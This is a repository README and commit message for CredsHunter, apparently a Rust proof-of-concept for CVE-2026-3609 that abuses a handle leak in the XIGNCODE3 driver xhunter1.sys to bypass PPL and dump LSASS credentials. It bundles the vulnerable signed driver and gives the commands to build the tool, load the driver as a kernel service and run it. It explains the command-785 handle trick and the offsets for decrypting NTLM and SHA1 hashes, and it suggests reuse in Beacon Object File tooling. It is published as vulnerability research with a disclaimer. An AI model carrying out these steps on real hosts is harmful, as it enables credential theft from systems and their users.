Files
BlackSnufkin dd3ba9d9bb Initial CredsHunter PoC for CVE-2026-3609
Rust implementation of the LSASS credential dump primitive against
xhunter1.sys (XIGNCODE3 anti-cheat). Uses command 785 to obtain a
PPL-bypassing PROCESS_ALL_ACCESS handle via ObOpenObjectByPointer
with AccessMode=KernelMode and no OBJ_KERNEL_HANDLE, then walks
LSA crypto material and decrypts the LogonSessionList.

Modules:
- driver: Xhunter / Session wrappers + MemReader trait
- proc:   PID lookup + PEB-walk remote module discovery
- pe:     local PE parsing and pattern scan helpers
- lsa:    LSA key pattern table + BCrypt key extraction + 3DES
- logon:  LogonSessionList walker + MSV1_0 offsets
- wdigest: WDigest credential list walker (best-effort)
- sys:    OS build number

Affected driver bundled:
  xhunter1.sys 10.0.10011.16384
  SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
2026-05-12 01:38:41 -07:00

122 lines
5.6 KiB
Markdown

# CredsHunter
[**CVE-2026-3609**](https://nvd.nist.gov/vuln/detail/CVE-2026-3609) · [**Writeup**](https://blacksnufkin.github.io/posts/AntiCheat-LPE-CVE-2026-3609/)
LSASS credential dump proof-of-concept for a PPL-bypassing process-handle leak in Wellbia's XIGNCODE3 anti-cheat driver, `xhunter1.sys`.
The driver exposes an `IRP_MJ_WRITE` command interface that calls `ObOpenObjectByPointer` with `AccessMode = KernelMode` and without `OBJ_KERNEL_HANDLE`, dropping a kernel-minted `PROCESS_ALL_ACCESS` handle straight into the caller's handle table. From there, standard credential-dumping code reads `lsasrv.dll`'s 3DES key out of the target and recovers NTLM + SHA1 hashes for every active logon session.
## Affected binary
```
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
```
The vulnerable signed driver is included in this repo (`xhunter1.sys`) so the exploit is reproducible end-to-end. Verify the hash before loading:
```powershell
Get-FileHash .\xhunter1.sys -Algorithm SHA256
```
Newer XIGNCODE3 releases are patched. The vulnerable signed binary remains usable as a BYOVD primitive on any host where it can be dropped and loaded.
## Build
```powershell
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
```
The release binary is placed at `target\release\CredsHunter.exe`.
## Run
Load the bundled driver as a kernel service (the driver's device DACL allows any caller once it's running):
```powershell
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
```
Run the tool:
```powershell
.\target\release\CredsHunter.exe
```
To clean up afterwards:
```powershell
sc stop xhunter
sc delete xhunter
```
The default device name is `\\.\xhunter` (matching the example service name above). If your service uses a different name, the device path will follow it — edit `driver::DEFAULT_DEVICE` or call `Xhunter::open_named` accordingly.
## Sample output
```
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
```
## How it works
| Stage | Component | What happens |
|---|---|---|
| 1 | `driver.rs``Xhunter::open` | `CreateFile("\\.\\xhunter")` — no auth on the device |
| 2 | `driver.rs``Xhunter::open_process` | `WriteFile` with command 785 (PID, `PROCESS_ALL_ACCESS`). Driver calls `ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle)` and writes the handle back to the user's response buffer at `+0x10`. The handle bypasses PPL because `AccessMode = KernelMode` skips the access check, and it lands in our handle table because `OBJ_KERNEL_HANDLE` is not set. |
| 3 | `driver.rs``Session::attach` | Probes `ReadProcessMemory` against the kernel-minted handle. Falls back to driver command 787 (`KeStackAttachProcess` + memcpy) if RPM is blocked. |
| 4 | `lsa.rs` | Pattern-scans local `lsasrv.dll`'s `.text` to recover RIP-relative pointers to the AES key, 3DES key, and IV inside `LsaInitializeProtectedMemory`. Rebases those VAs onto the target's mapping, walks `BCRYPT_HANDLE_KEY → BCRYPT_KEY81`, and pulls the raw 3DES bytes out of the target. |
| 5 | `logon.rs` | Walks `LogonSessionList` (per-build sig table). Each entry's primary credential at `+credentials → +0x10 → +0x30` holds a 0x1B0-byte 3DES-encrypted blob. `bcrypt.dll` decrypts it; bytes `70..86` are the NT hash, `102..122` are the SHA1. |
## Project layout
```
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
```
The `MemReader` trait abstracts memory reads so the credential-extraction modules don't depend on the specific driver primitive. Implement the trait on a different reader (e.g. a Beacon Object File runtime, a ptwalk-based phys-mem reader) and the `lsa` / `logon` / `wdigest` modules drop in unchanged.
## Known limitations
- **WDigest plaintext recovery is best-effort.** The list-head signature is a single byte pattern (`48 3B D9 74`) inherited from the original public PoC and has not been refreshed for Windows 11 build 26100+. Building this out into a per-build table is straightforward; PRs welcome.
- **Service / device name** is hardcoded to `xhunter`. If you load the driver under a different name, edit `driver::DEFAULT_DEVICE` or pass an override to `Xhunter::open_named`.
## Disclaimer
For research, authorised testing, and defensive tooling only. Loading the vulnerable driver on a system you do not own or have explicit permission to test is a crime in most jurisdictions. The author accepts no responsibility for misuse.
## License
See [`LICENSE`](LICENSE).